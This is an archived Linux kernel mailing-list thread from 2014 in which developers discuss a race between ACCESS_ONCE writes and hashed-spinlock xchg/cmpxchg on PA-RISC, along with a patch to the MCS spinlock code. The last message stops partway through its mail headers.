> > These instructions can only be used to implement spinlocks, direct
> > implementation of other atomic operations is impossible.
> > 
> > Consequently, Linux xchg and cmpxchg functions are implemented in such a
> > way that they hash the address, use the hash to index a spinlock, take the
> > spinlock, perform the xchg or cmpxchg operation non-atomically and drop
> > the spinlock.
> > 
> > If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> > the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> > so, in this case, cmpxchg or xchg isn't really atomic at all.
> 
> And this is really the first place in the kernel that breaks like this?
> I've been using xchg() and cmpxchg() without such consideration for
> quite a while.

It happens on a common mutex operation and it took an hour of 
stress-testing to trigger it.

The other cases may be buggy too, but no one has written a stress test 
specifically tailored for them.

> Doesn't sparc32 have similarly broken atomic ops?

Yes. tile32, arc and metag seem to be broken by this too. hexagon also has 
non-standard atomic_set, so it may be broken too.

> Ideally, if we really want to preserve such broken-ness, we'd add some
> debugging infrastructure to detect such nonsense.
> 
> > This patch fixes the bug by introducing a new type atomic_pointer_t 
> > (backed by atomic_long_t) and replacing the offending pointer with it. 
> > atomic_long_set takes the hashed spinlock, so it avoids the race 
> > condition.
> 
> So I hate that twice, once since xchg() and cmpxchg() do not share the
> atomic_ prefix, its inappropriate and misleading here, and secondly,
> non of this is specific to pointers, xchg() and cmpxchg() take any
> (naturally aligned) 'native' size type.

I think we don't need xchg() and cmpxchg() at all, because we have atomic 
types.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 06:24:54 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20140602132454.GO22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
 <20140601213003.GG16155@laptop.programming.kicks-ass.net>
 <alpine.LRH.2.02.1406020503000.17105@file01.intranet.prod.int.rdu2.redhat.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401715539 21688 80.91.229.3 (2 Jun 2014 13:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 13:25:39 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	John David Anglin <dave.anglin@bell.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	Waiman.Long@hp.com, tglx@linutronix.de, riel@redhat.com,
	akpm@linux-foundation.org, davidlohr@hp.com, hpa@zytor.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 15:25:29 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrSEu-0007dJ-OX
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 15:25:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754841AbaFBNZL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 09:25:11 -0400
Original-Received: from e37.co.us.ibm.com ([32.97.110.158]:42062 "EHLO
	e37.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754399AbaFBNZF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 09:25:05 -0400
Original-Received: from /spool/local
	by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-kernel@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 07:25:04 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 07:25:01 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 27BE93E40044;
	Mon,  2 Jun 2014 07:25:01 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52DNl4n57213004;
	Mon, 2 Jun 2014 15:23:47 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52DSwbW025682;
	Mon, 2 Jun 2014 07:29:00 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-76-41-117.mts.ibm.com [9.76.41.117])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52DSvRX025615;
	Mon, 2 Jun 2014 07:28:58 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 02C6B381957; Mon,  2 Jun 2014 06:24:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406020503000.17105@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060213-7164-0000-0000-00000228B632
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716040 gmane.linux.ports.parisc:5820
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716040>

On Mon, Jun 02, 2014 at 05:19:39AM -0400, Mikulas Patocka wrote:
> 
> 
> On Sun, 1 Jun 2014, Peter Zijlstra wrote:
> 
> > On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > > 
> > > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > > >>at
> > > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > > >>spinlock,
> > > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > > >
> > > >And this is really the first place in the kernel that breaks like this?
> > > >I've been using xchg() and cmpxchg() without such consideration for
> > > >quite a while.
> > > 
> > > I believe Mikulas is correct.  Even in a controlled situation where a
> > > cmpxchg operation
> > > is used to implement pthread_spin_lock() in userspace, we found recently
> > > that the lock
> > > must be released with a  cmpxchg operation and not a simple write on SMP
> > > systems.
> > > There is a race in the cache operations or instruction ordering that's not
> > > present with
> > > the ldcw instruction.
> > 
> > Oh, I'm not arguing that. He's quite right that its broken, but this
> > form of atomic ops is also quite insane and unusual. Most sane machines
> > don't have this problem.
> > 
> > My main concern is how are we going to avoid breaking parisc (and I
> > think sparc32, which is similarly retarded) in the future; we should
> > invest in machinery to find and detect these things.
> 
> Grep the kernel for "\<xchg\>" and "\<cmpxchg\>" and replace them with 
> atomic types and atomic access functions.

Not so good for pointers, though.  Defeats type-checking, for one thing.
An example of this is use of xchg() for atomically enqueuing RCU callbacks
in kernel/rcu/tree_plugin.h.

I still like the idea of PA-RISC's compiler implementing ACCESS_ONCE()
as needed to make things work on that architecture.

							Thanx, Paul


From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 09:58:29 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406020914440.18342@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401717587 16142 80.91.229.3 (2 Jun 2014 13:59:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 13:59:47 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 15:59:38 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrSm0-0008Cb-Is
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 15:59:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754292AbaFBN7g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 09:59:36 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:55473 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753301AbaFBN7f (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 09:59:35 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52DwVp6023202
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 2 Jun 2014 09:58:31 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s52DwU0Q009995
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 2 Jun 2014 09:58:31 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52DwUB7000535;
	Mon, 2 Jun 2014 09:58:30 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52DwToa000532;
	Mon, 2 Jun 2014 09:58:29 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5821 gmane.linux.kernel:1716060
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5821>



On Sun, 1 Jun 2014, John David Anglin wrote:

> On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> 
> > > If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> > > the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> > > so, in this case, cmpxchg or xchg isn't really atomic at all.
> > 
> > And this is really the first place in the kernel that breaks like this?
> > I've been using xchg() and cmpxchg() without such consideration for
> > quite a while.
> 
> I believe Mikulas is correct.  Even in a controlled situation where a 
> cmpxchg operation is used to implement pthread_spin_lock() in userspace, 
> we found recently that the lock must be released with a cmpxchg 
> operation and not a simple write on SMP systems. There is a race in the 
> cache operations or instruction ordering that's not present with the 
> ldcw instruction.
> 
> Dave
> --
> John David Anglin	dave.anglin@bell.net

That is strange.

Spinlock with cmpxchg on lock and a single write on unlock should work,
assuming that cmpxchg doesn't write to the target address when it detects
mismatch (the cmpxchg in the kernel syscall page doesn't do it, it
nullifies the write instruction on mismatch).

Do you have some code that reproduces this misbehavior?

We really need to find out why does it behave this way:
- is PA-RISC really out of order? (we used to believe that it is in-order
  and we have empty barrier instructions in the kernel). Does adding the
  "SYNC" instruction before the write in pthread_spin_unlock fix it?
- does the processor performs nullified writes unconditionally? Does
  moving the write in the cmpxchg implementation from the nullified slot
  to is own branch fix it?
- does adding a dummy "ldcw" instruction to an unrelated address fix it?
  Is it that "ldcw" has some magic barrier properties?

I think we need to perform these tests and maybe some more to find out
what really happened there...

BTW. in Debian 5 libc 2.7, pthread_spin_lock uses ldcw and 
pthread_spin_unlock uses a single write (just like the kernel spinlock 
implementation). In Debian-ports libc 2.18, both pthread_spin_lock and 
pthread_spin_unlock call the kernel syscall page. What was the reason for 
switching to a less efficient implementation?

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 10:02:49 -0400 (EDT)
Lines: 67
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406021002090.1300@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
 <alpine.LRH.2.02.1406020914440.18342@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401717835 18953 80.91.229.3 (2 Jun 2014 14:03:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 14:03:55 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 16:03:45 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrSpz-0002c0-79
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 16:03:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754326AbaFBODm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 10:03:42 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:21924 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754270AbaFBODl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 10:03:41 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52E2opn015026
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Mon, 2 Jun 2014 10:02:50 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s52E2nIj027188
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 2 Jun 2014 10:02:50 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52E2nJ0001392;
	Mon, 2 Jun 2014 10:02:49 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52E2ngR001388;
	Mon, 2 Jun 2014 10:02:49 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <alpine.LRH.2.02.1406020914440.18342@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5822 gmane.linux.kernel:1716066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5822>



On Mon, 2 Jun 2014, Mikulas Patocka wrote:

> 
> 
> On Sun, 1 Jun 2014, John David Anglin wrote:
> 
> > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > 
> > > > If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> > > > the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> > > > so, in this case, cmpxchg or xchg isn't really atomic at all.
> > > 
> > > And this is really the first place in the kernel that breaks like this?
> > > I've been using xchg() and cmpxchg() without such consideration for
> > > quite a while.
> > 
> > I believe Mikulas is correct.  Even in a controlled situation where a 
> > cmpxchg operation is used to implement pthread_spin_lock() in userspace, 
> > we found recently that the lock must be released with a cmpxchg 
> > operation and not a simple write on SMP systems. There is a race in the 
> > cache operations or instruction ordering that's not present with the 
> > ldcw instruction.
> > 
> > Dave
> > --
> > John David Anglin	dave.anglin@bell.net
> 
> That is strange.
> 
> Spinlock with cmpxchg on lock and a single write on unlock should work,
> assuming that cmpxchg doesn't write to the target address when it detects
> mismatch (the cmpxchg in the kernel syscall page doesn't do it, it
> nullifies the write instruction on mismatch).
> 
> Do you have some code that reproduces this misbehavior?
> 
> We really need to find out why does it behave this way:
> - is PA-RISC really out of order? (we used to believe that it is in-order
>   and we have empty barrier instructions in the kernel). Does adding the
>   "SYNC" instruction before the write in pthread_spin_unlock fix it?
> - does the processor performs nullified writes unconditionally? Does
>   moving the write in the cmpxchg implementation from the nullified slot
>   to is own branch fix it?
> - does adding a dummy "ldcw" instruction to an unrelated address fix it?
>   Is it that "ldcw" has some magic barrier properties?

- and there is "stw,o" instruction that does ordered store according to 
the specification, so we should test it too...

> I think we need to perform these tests and maybe some more to find out
> what really happened there...
> 
> BTW. in Debian 5 libc 2.7, pthread_spin_lock uses ldcw and 
> pthread_spin_unlock uses a single write (just like the kernel spinlock 
> implementation). In Debian-ports libc 2.18, both pthread_spin_lock and 
> pthread_spin_unlock call the kernel syscall page. What was the reason for 
> switching to a less efficient implementation?
> 
> Mikulas
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Waiman Long <waiman.long@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 10:14:58 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <538C86E2.1070806@hp.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401718548 28191 80.91.229.3 (2 Jun 2014 14:15:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 14:15:48 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, paulmck@linux.vnet.ibm.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 16:15:35 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrT1S-0004jF-5d
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 16:15:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932208AbaFBOPX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 10:15:23 -0400
Original-Received: from g2t2352.austin.hp.com ([15.217.128.51]:31772 "EHLO
	g2t2352.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932173AbaFBOPU (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 10:15:20 -0400
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2352.austin.hp.com (Postfix) with ESMTP id 15B4DDB;
	Mon,  2 Jun 2014 14:15:18 +0000 (UTC)
Original-Received: from [192.168.142.241] (unknown [16.99.28.75])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id A0D9F55;
	Mon,  2 Jun 2014 14:15:15 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12
In-Reply-To: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716077 gmane.linux.ports.parisc:5823
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716077>

On 06/01/2014 01:53 PM, Mikulas Patocka wrote:
> The code in kernel/locking/mcs_spinlock.c is broken.

The osq_lock and osq_unlock functions aren't the only ones that need to 
be changed, the mcs_spin_lock and mcs_spin_unlock have exactly the same 
problem. There aren't certainly problems in other places as well.

> PA-RISC doesn't have xchg or cmpxchg atomic instructions like other
> processors. It only has ldcw and ldcd instructions that load a word (or
> doubleword) from memory and atomically store zero at the same location.
> These instructions can only be used to implement spinlocks, direct
> implementation of other atomic operations is impossible.
>
> Consequently, Linux xchg and cmpxchg functions are implemented in such a
> way that they hash the address, use the hash to index a spinlock, take the
> spinlock, perform the xchg or cmpxchg operation non-atomically and drop
> the spinlock.
>
> If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
> the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
> so, in this case, cmpxchg or xchg isn't really atomic at all.
>
> This patch fixes the bug by introducing a new type atomic_pointer_t
> (backed by atomic_long_t) and replacing the offending pointer with it.
> atomic_long_set takes the hashed spinlock, so it avoids the race
> condition.

I believe the mixing of cmpxchg/xchg  and ACCESS_ONCE() is fairly common 
in the kernel, it will be an additional burden on the kernel developers 
to make sure that this kind of breakage won't happen. We also need clear 
documentation somewhere to document this kind of architecture specific 
behavior, maybe in the memory-barrier.txt.
> Index: linux-3.15-rc7/kernel/locking/mcs_spinlock.h
> ===================================================================
> --- linux-3.15-rc7.orig/kernel/locking/mcs_spinlock.h	2014-05-31 19:01:01.000000000 +0200
> +++ linux-3.15-rc7/kernel/locking/mcs_spinlock.h	2014-06-01 14:17:49.000000000 +0200
> @@ -13,6 +13,7 @@
>   #define __LINUX_MCS_SPINLOCK_H
>
>   #include<asm/mcs_spinlock.h>
> +#include<linux/atomic.h>
>
>   struct mcs_spinlock {
>   	struct mcs_spinlock *next;
> @@ -119,7 +120,8 @@ void mcs_spin_unlock(struct mcs_spinlock
>    */
>
>   struct optimistic_spin_queue {
> -	struct optimistic_spin_queue *next, *prev;
> +	atomic_pointer_t next;
> +	struct optimistic_spin_queue *prev;
>   	int locked; /* 1 if lock acquired */
>   };

Is there a way to do it without changing the pointer type? It will make 
the code harder to read and understand.

-Longman

From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Low <jason.low2@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 08:27:38 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <1401722858.7440.27.camel@j-VirtualBox>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <538C86E2.1070806@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401722883 20206 80.91.229.3 (2 Jun 2014 15:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 15:28:03 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, paulmck@linux.vnet.ibm.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com
To: Waiman Long <waiman.long@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 17:27:54 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrU9R-0007wL-37
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 17:27:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752866AbaFBP1n (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
